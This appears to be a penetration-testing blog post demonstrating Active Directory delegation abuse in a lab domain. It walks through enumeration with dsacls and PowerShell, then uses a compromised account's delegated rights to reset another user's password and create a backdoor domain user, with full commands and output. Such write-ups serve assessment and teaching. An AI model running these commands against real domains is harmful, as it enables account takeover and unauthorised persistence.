In many well secured environments you’ll probably find that the classic target groups of “Domain Admins” and “Enterprise Admins” are sparsely populated, and the accounts are used when only deemed necessary, or in dire emergencies. More often than not Active Directory delegation is utilised*. In this brief post, we’ll demonstrate some of the manual methods that can be used to enumerate such environments and why this is an important aspect of a Windows pentest.
*https://technet.microsoft.com/en-us/library/2007.02.activedirectory.aspx
To speed things up we’ll assume that we have previously compromised user named Robert Smith, from hereon in “Bob”, and we have access to his domain joined host (although not necessarily required), as well as an attacking Windows host that we own/have admin privileges on.
Let’s start with a bit of basic enumeration from Bob’s domain connected host.
net user bob /domain The request will be processed at a domain controller for domain nss.local. User name bob Full Name bob Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 01/12/2016 16:29:25 Password expires Never Password changeable 02/12/2016 16:29:25 Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 01/12/2016 17:03:53 Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *some_privs
Some key take away notes; Bob is a member of a group named “some_privs” and the domain seems to be nss.local. Let’s also just check that this “some_privs” group isn’t a nested group within local administrators.
net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator default NSS\Domain Admins NSS\loadsa_privs
OK, so we’re not a local admin, but a member group named “loadsa_privs” would have these permissions. We’ll keep our eyes open for such a target.
Before we start, we need some basic information about the environment. We could use the PowerShell Active Directory Cmdlets (making an appearance shortly) or we could utilise standard built-in tools and do things the slow (but accessible) way from the domain joined host.
From this output we can see that Bob’s a member of the “Users” Organisational Unit (OU) that’s nested within Offices\London.
Now we have some idea of the OU layout, lets further enumerate this domain/OU structure. For this we’re going to experiment with the PowerShell ActiveDirectory module. You’ll need to grab a copy of the RSAT applicable for your OS, in this example we have a Win10 attacking host.
Once the tools have been installed we can import the Active Directory module.
Not a great start. Our attacking host isn’t part of the victim domain, so a Domain Controller can’t be found. Let’s disable loading of the default AD drive when we import this module*.
$Env:ADPS_LoadDefaultDrive = 0 Import-Module ActiveDirectory
Now we can use PowerShell with the -server switch to communicate with the target DC. Let’s get a listing of Organizational Units.
Get-ADOrganizationalUnit -Filter * -SearchBase "dc=nss,dc=local" -Properties canonicalname -server 192.168.12.100 -Credential "nss\bob" | select canonicalname
All of this information aids in building a picture of the target environment. From earlier reconnaissance activities, we found that /Offices/London/Users existed, but now we see different custom OU’s have been created for specific geographical locations, each with their own specific Users and Computers OUs.
Let’s have a look at the permissions relating to the ‘top-level’ Offices OU as well as the Office/London/Users OU (as this is where Bobs account is situated) to see if anything interesting is to be found.
Firstly, grab dsacls.exe from the Windows 2003 support tools* - yes, it can run on Win10 x64.
* https://www.microsoft.com/en-us/download/details.aspx?id=15326
Now to run dscals.exe from the domain joined host. As per https://technet.microsoft.com/en-us/library/cc771151(v=ws.11).aspx – “…If you specify an object without additional parameters, dsacls displays the ACEs in the ACL…”
Firstly, lets run this tool on the ‘top-level’ Offices OU (output redacted to only show the mentioned group name for ease of reference).
dsacls.exe "ou=offices,dc=nss,dc=local" > offices-out.txt Effective Permissions on this object are: Allow NSS\loadsa_privs SPECIAL ACCESS for computer <Inherited from parent> CREATE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for inetOrgPerson <Inherited from parent> CREATE CHILD DELETE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for user <Inherited from parent> CREATE CHILD DELETE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for gPLink <Inherited from parent> WRITE PROPERTY READ PROPERTY Allow NSS\loadsa_privs SPECIAL ACCESS for gPOptions <Inherited from parent> WRITE PROPERTY READ PROPERTY Allow NSS\loadsa_privs Generate Resultant Set of Policy (Planning) <Inherited from parent> Allow NSS\loadsa_privs Generate Resultant Set of Policy (Logging) <Inherited from parent> Permissions inherited to subobjects are: Inherited to all subobjects Allow NSS\loadsa_privs SPECIAL ACCESS for computer <Inherited from parent> CREATE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for inetOrgPerson <Inherited from parent> CREATE CHILD DELETE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for user <Inherited from parent> CREATE CHILD DELETE CHILD Allow NSS\loadsa_privs SPECIAL ACCESS for gPLink <Inherited from parent> WRITE PROPERTY READ PROPERTY Allow NSS\loadsa_privs SPECIAL ACCESS for gPOptions <Inherited from parent> WRITE PROPERTY READ PROPERTY Allow NSS\loadsa_privs Generate Resultant Set of Policy (Planning) <Inherited from parent> Allow NSS\loadsa_privs Generate Resultant Set of Policy (Logging) <Inherited from parent> Inherited to computer Allow NSS\loadsa_privs FULL CONTROL <Inherited from parent> Inherited to user Allow NSS\loadsa_privs FULL CONTROL <Inherited from parent> Inherited to group Allow NSS\loadsa_privs SPECIAL ACCESS for Add/Remove self as member <Inherited from parent> WRITE PROPERTY READ PROPERTY
Interestingly, the group “loadsa_privs” seems to have quite a few rights on the “Offices” OU (an aptly named group). However, Bob isn’t a member of this group and there isn’t any mention of the group “some_privs” or Bob’s account within the output.
Let’s perform the same check on the Offices/London/Users OU (output redacted to only show the mentioned group name for ease of reference).
dsacls.exe "ou=users,ou=london,ou=offices,dc=nss,dc=local" > users-london-out.txt Inherited to user Allow NSS\some_privs SPECIAL ACCESS for pwdLastSet <Inherited from parent> WRITE PROPERTY READ PROPERTY Allow NSS\some_privs Reset Password <Inherited from parent>
The group “some_privs” does seem to have some control over the nested “Users” OU, specifically permissions relating to password management by the look of things. Remember, Bob is a member of this group.
Let’s see if other accounts exist within the Offices/London/Users OU.
Get-ADUser -SearchBase “ou=users,ou=london,ou=offices,dc=nss,dc=local” -Filter * -server 192.168.12.100 -Credential "nss\bob" | Select Name,SamAccountName
Excellent, some more users we can investigate. Remember, we have been delegated the powerful “Reset Password” permission.
Let’s return to our domain joined host and see what permissions some of these users hold.
net user julie /domain The request will be processed at a domain controller for domain nss.local. User name julie Full Name julie Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 01/12/2016 16:31:06 Password expires Never Password changeable 02/12/2016 16:31:06 Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *loadsa_privs
Interesting. Julie is a member of “loadsa_privs” which is a nested group within the local administrators group (not pushed by GPO) and, from the earlier dsacls output, we know this group has many delegated permissions higher up in the domain tree. So, what can we do from here? Let’s try to reset Julie’s password.
Set-ADAccountPassword 'cn=julie,ou=users,ou=london,ou=offices,dc=nss,dc=local' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd" -Force) -Server 192.168.12.100 -Credential "nss\bob"
Returning to the domain joined box for a quick sanity check; let’s make sure we’ve been successful in changing the password for Julies account.
Remember, this account is a local admin (bonus), but what we’re really interested in are the delegation rights that Juile has. To test these, we’ll attempt to add a new user ‘pwned’ to the domain. Just for reference, if we run this command as -Credential “nss\bob”
we’ll receive an error such as: New-ADUser : Access is denied
(as we may expect).
Let’s use Julie’s account to perform this action.
New-ADUser -SamAccountName pwned -Name "pwned" -AccountPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd" -Force) -Enabled $true -PasswordNeverExpires $true -Path "ou=offices,dc=nss,dc=local" -Server 192.168.12.100 -Credential "nss\julie"
And just to verify all went as expected.
Get-ADUser -SearchBase “ou=offices,dc=nss,dc=local” -Filter * -server 192.168.12.100 -Credential "nss\pwned" | Select Name,SamAccountName
Excellent, we have created a new user “pwned”. From here on in we have to use many of these same techniques to further enumerate and understand the access/rights Juile has elsewhere (if any) within the domain. For full disclosure the group “loadsa_privs” has been assigned the following rights on the nss.local domain” (tick boxes have been lit up like an Xmas tree!)
- Update Jan 2017 -
After much more testing - mainly during development of the Advanced Infrastructure Hacking course for our Blackhat classes in 2017 - it would seem that Microsoft have actually thought about a scenario in which a relatively unprivileged user could potentially alter rights of privileged assets and existing mitigation's are in place. If an asset is a protected group (for example the Domain Admins group) then ACL’s will be copied from the AdminSDHolder container (this is accessible via ADSI Edit > DC=$yourdomain,DC=$yourdomain > CN=System > CN=AdminSDHolder) and inheritance will be disabled (assuming everything is in a default state). More information on this can be found here.
To view protected groups and users you can use the following commands:
Get-ADGroup –LDAPFilter “(admincount=1)” Get-ADUser –LDAPFilter “(admincount=1)”
This means that even if custom AD Delegation ACL’s overwrite/conflict with the protected group, every 60 mins (by default) AD reapplies the correct ACL assignment. This behaviour can be disabled (not a great idea) by enabling inheritance of permissions on the object directly.
So although it’s worth checking to see if it is possible to manipulate privileged assets, in a default configuration it would not be possible to take this direct route to DA. As detailed within this post, we could create users and modify group memberships of other groups (depending on the delegation rights we have) and for example add our attacking account to potentially sensitive groups such as Finance, HR, or Development etc. Attacks could then be continued laterally within the network which could of course be just as devastating, depending on the data accessible to such groups and what’s deemed important to your business.
We’ve only scratched the surface here, but hopefully this has been an insight into the wonderful and complex word of Active Directory delegation and manual assessment techniques.